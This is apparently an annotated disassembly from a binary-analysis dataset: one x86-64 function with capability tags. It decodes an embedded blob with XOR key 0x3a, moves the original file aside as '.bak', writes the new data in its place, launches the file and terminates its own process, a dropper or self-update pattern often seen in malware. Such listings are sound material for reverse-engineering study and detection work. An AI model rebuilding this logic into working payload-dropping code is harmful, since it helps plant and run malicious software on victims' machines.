Function at 0x1800050f8
Capabilities:
Create process on windows
Delete file
Encode data using xor
Move file
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rax - 0x10e8]
mov eax, 0x11d0
call sub.ntdll.dll___chkstk
sub rsp, rax
mov rdi, rdx
call fcn.180003698
mov rcx, rdi
mov rsi, rax
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, rdi
call fcn.1800037c0
xorps xmm0, xmm0
lea rdx, [rsp + 0x68]
xor eax, eax
mov rcx, rsi
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rsp + 0x78], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rbp - 0x78], xmm0
call qword [rsi + 0x20]
xor r14d, r14d
lea rdx, [rbp + 0x10f0]
mov rcx, rsi
mov dword [rbp + 0x10f0], r14d
lea ebx, [r14 + 4]
mov r8d, ebx
call qword [rsi + 0x20]
mov rcx, rsi
call qword [rsi + 0x30]
cmp eax, dword [rbp + 0x10f0]
jne 0x18000543c
mov edx, dword [rbp + 0x10f0]
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x18000543c
mov r8d, dword [rbp + 0x10f0]
mov rdx, rax
mov rcx, rsi
call qword [rsi + 0x20]
mov rcx, rsi
call fcn.1800037c0
mov edi, dword [rbp + 0x10f0]
lea rcx, [rbp + 0x640]
mov esi, 0xa88
xor edx, edx
mov r8d, esi
add edi, 0xfffff574
call sub.ntdll.dll_memset
mov r8d, esi
lea rdx, [0x18005ff30]
lea rcx, [rbp + 0x640]
call qword [sym.imp.ntdll.dll_memcpy]
mov eax, r14d
xor byte [rbp + rax + 0x640], 0x3a
inc rax
cmp rax, rsi
jl 0x18000521b
mov ecx, edi
lea rdx, [rbp + 0x640]
add rcx, rbx
mov r8, rsi
call qword [sym.imp.ntdll.dll_memcpy]
mov edi, 0x208
lea rcx, [rbp + 0x10]
mov r8d, edi
xor edx, edx
call sub.ntdll.dll_memset
mov r8d, edi
lea rcx, [rbp + 0x430]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x180057d54]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x180060924]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x430]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str..bak
lea rcx, [rbp + 0x430]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_MoveFileW]
mov r8d, dword [rbp + 0x10f0]
lea rcx, [rbp + 0x10]
mov rdx, rbx
call fcn.180013d00
lea rcx, [rbp + 0x430]
test eax, eax
jne 0x180005421
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov ebx, 0x68
lea rcx, [rbp - 0x60]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
xorps xmm0, xmm0
mov dword [rbp - 0x24], 1
xor eax, eax
mov word [rbp - 0x20], r14w
mov r8d, edi
mov qword [rsp + 0x60], rax
xor edx, edx
mov dword [rbp - 0x60], ebx
lea rcx, [rbp + 0x220]
movups xmmword [rsp + 0x50], xmm0
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x180057d54]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x18006085c]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x180057d58]
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x220]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x210
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x18000540b
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1800053f6
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rsp + 0x50], r14
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000540b
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov edx, 0x7b
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x18000543c
lea rdx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.DLL_MoveFileW]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
lea r11, [rsp + 0x11d0]
xor eax, eax
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret